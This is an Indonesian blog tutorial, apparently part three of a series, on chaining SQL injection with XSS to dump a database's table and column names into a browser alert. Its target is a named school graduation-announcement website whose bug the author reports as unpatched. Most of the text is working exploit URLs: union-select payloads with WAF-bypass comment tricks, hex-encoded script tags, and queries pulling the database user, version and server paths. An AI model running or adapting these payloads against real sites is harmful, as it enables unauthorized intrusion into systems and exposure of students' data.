SQL Injection to XSS dump database in alert #3

-
Hai Sobat.
Saya ikal
Disini, saya akan share cara melakukan SQL Injection To XSS dump database in alert.
-

Disini saya ganti site aja deh, biar ga bosen itu-itu terus target nya hehe. Target saya kali ini adalah website mantan sekolah saya.
Target : Target 

Emang vuln? Yaps, gw yang pentest tuh site sekolah sendiri hehe, nanti dah gw buat artikelnya bagaimana caranya gw nemuin vulnerability nya.

Target nya itu adalah website pengumuman kelulusan, waktu itu ada tim yang nemuin celah add admin di website pengumuman kelulusan. Namun pas gw coba di website sekolah gw, dan hasilnya nihil. Yodah deh langsung mulai aja materi nya.

> pertama seperti biasa kalian cari parameter nya yah. Di target kali ini ada sebuah trick untuk mendapatkan parameternya yaitu dengan nomor peserta.
No peserta : 02-0103-0001-8

> lalu kalian masukan no peserta tersebut lalu klik cetak surat keterangan kelulusan dan kalian akan mendapatkan parameter nya.

http://smp162jakarta.com/Pengumuman-Kelulusan/cetaksk.php?noujian=02-0103-0001-8

Nah dapet kan. Kalian injeksi di parameter tersebut. Disini agar tidak terlalu lama, kita skip saja. Dan anggap saja saya sudah sampe ke tahap union select dan membypass waf bawaan dari web tersebut.

Untuk yang belum mengerti cara menginjeksi nya, kalian pergi ke artikel sebelumnya SQL Injection  

Dan langsung saja, berikut query dari website tersebut.

http://smp162jakarta.com/Pengumuman-Kelulusan/cetaksk.php?noujian=02-0103-0001-8%27%20and%200%20/*!50000%55nion*/%20/*!50000%53elect*/%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--%20-


Disitu kita di beri angka hampir semuanya bisa di gunaik :'v. Misal disini saya akan menggunakan angka 3, angka paling atas dan paling pertama saya lirik. 

Kita buat dulu code XSS nya lalu encode dan bungkus dengan concat. Karena website nya mempunyai waf maka kita bypass aja sekalian.

concat/*kontol*//**kontol**/(<script>alert('Injected By 1K4lL_* | ,(select(@x)/*!50000from/**kontol**/*/(/*!50000select/**kontol**/*/(@x:=0x00),(select(0)/*!From/**kontol**/*/(/*!50000information_schema.columns/**kontol**/*/)/*!50000where/**kontol**/*/(table_schema=database/*kontol*//**kontol*/())and(0x00)in(@x:=/*!50000coNcat/**kontol**/*/(@x,0x3c6c693e,/*!50000table_name/**kontol**/*/,0x3a3a,/*!50000column_name/**kontol**/*/))))x),');</script>)

Ko bypass nya gitu? Gw dapet tuh trick dari bule Philip. Jadi jangan salahkan gw.

Lalu bagaimana mengconvert nya? Apakah semua nya di convert atau di encode menjadi hex? tidak.

Bagian-bagian yang di convert atau di encode menjadi hex hanyalah bagian yang bukan perintah SQL atau apalah. setiap encode di batasi dengan tanda koma (,) agar terbaca oleh server. Dan di beri 0x sebelum encode an nya.

Contoh bagian yang di encode : 
1).<script>alert('Injected By 1K4lL_* | 
Encode menjadi hex :
0x3c7363726970743e616c6572742827496e6a656374656420427920314b346c4c5f2a207cc2a0

2).');</script>
Encode menjadi hex :
0x27293b3c2f7363726970743e

Dan mari kita satukan, 
concat/*kontol*//**kontol**/(0x3c7363726970743e616c6572742827496e6a656374656420427920314b346c4c5f2a207cc2a0,(select(@x)/*!50000from/**kontol**/*/(/*!50000select/**kontol**/*/(@x:=0x00),(select(0)/*!From/**kontol**/*/(/*!50000information_schema.columns/**kontol**/*/)/*!50000where/**kontol**/*/(table_schema=database/*kontol*//**kontol*/())and(0x00)in(@x:=/*!50000coNcat/**kontol**/*/(@x,0x3c6c693e,/*!50000table_name/**kontol**/*/,0x3a3a,/*!50000column_name/**kontol**/*/))))x),0x27293b3c2f7363726970743e)

Lalu kita taruh di angka togel, seperti yang tadi saya bilang saya ingin menempelkannya di angka 3.

http://smp162jakarta.com/Pengumuman-Kelulusan/cetaksk.php?noujian=02-0103-0001-8%27%20and%200%20/*!50000%55nion*/%20/*!50000%53elect*/%201,2,concat/*kontol*//**kontol**/(0x3c7363726970743e616c6572742827496e6a656374656420427920314b346c4c5f2a207cc2a0,(select(@x)/*!50000from/**kontol**/*/(/*!50000select/**kontol**/*/(@x:=0x00),(select(0)/*!From/**kontol**/*/(/*!50000information_schema.columns/**kontol**/*/)/*!50000where/**kontol**/*/(table_schema=database/*kontol*//**kontol*/())and(0x00)in(@x:=/*!50000coNcat/**kontol**/*/(@x,0x3c6c693e,/*!50000table_name/**kontol**/*/,0x3a3a,/*!50000column_name/**kontol**/*/))))x),0x27293b3c2f7363726970743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--%20-


Yaps berhasil, semua table yang ada di database sudah terlihat di alert hehe. Ini trick juga bisa di gunakan saat angka togel tidak terlihat atau harus view source saat melihat nya. Kalian tinggal tempel saja biar kalian bisa lihat tanpa harus view source atau apalah kalo di pc :'v.

Dan disini saya coba tambahkan database(),user(),version(),@@datadir,@@basedir,@@tmpdir biar lebih enjoy. Dan kita beri batasan <spasi>|<spasi>. Yang jika di encode menjadi 0x207c20

 contoh :
concat/*kontol*//**kontol**/(0x3c7363726970743e616c6572742827496e6a656374656420427920314b346c4c5f2a207cc2a0,database/*kontol*//**kontol**/(),0x207c20,current_user,0x207c20,version(),0x207c20,@@datadir,0x207c20,@@basedir,0x207c20,@@tmpdir,0x207c20,(select(@x)/*!50000from/**kontol**/*/(/*!50000select/**kontol**/*/(@x:=0x00),(select(0)/*!From/**kontol**/*/(/*!50000information_schema.columns/**kontol**/*/)/*!50000where/**kontol**/*/(table_schema=database/*kontol*//**kontol*/())and(0x00)in(@x:=/*!50000coNcat/**kontol**/*/(@x,0x3c6c693e,/*!50000table_name/**kontol**/*/,0x3a3a,/*!50000column_name/**kontol**/*/))))x),0x27293b3c2f7363726970743e)

Dan sekarang kita tempel di angka 3 lagi.

http://smp162jakarta.com/Pengumuman-Kelulusan/cetaksk.php?noujian=02-0103-0001-8%27%20and%200%20/*!50000%55nion*/%20/*!50000%53elect*/%201,2,concat/*kontol*//**kontol**/(0x3c7363726970743e616c6572742827496e6a656374656420427920314b346c4c5f2a207cc2a0,database/*kontol*//**kontol**/(),0x207c20,current_user,0x207c20,version(),0x207c20,@@datadir,0x207c20,@@basedir,0x207c20,@@tmpdir,0x207c20,(select(@x)/*!50000from/**kontol**/*/(/*!50000select/**kontol**/*/(@x:=0x00),(select(0)/*!From/**kontol**/*/(/*!50000information_schema.columns/**kontol**/*/)/*!50000where/**kontol**/*/(table_schema=database/*kontol*//**kontol*/())and(0x00)in(@x:=/*!50000coNcat/**kontol**/*/(@x,0x3c6c693e,/*!50000table_name/**kontol**/*/,0x3a3a,/*!50000column_name/**kontol**/*/))))x),0x27293b3c2f7363726970743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--%20-


Nah udah enjoy liat nya. Okeh mungkin segini aja artikel nya. SQL to XSS next nya saya bingung belum dapat ide lagi soalnya. 

Reporter : haikal
Status bug : not patch
Report date : 14/06/2020
Developer : pak abuyah

Bagi yang mau report lagi, mending cari yang lain. Web sekolah lu gitu kan. Yodah lah kita mah enjoy-enjoy aja dah wkwk.

Thanks see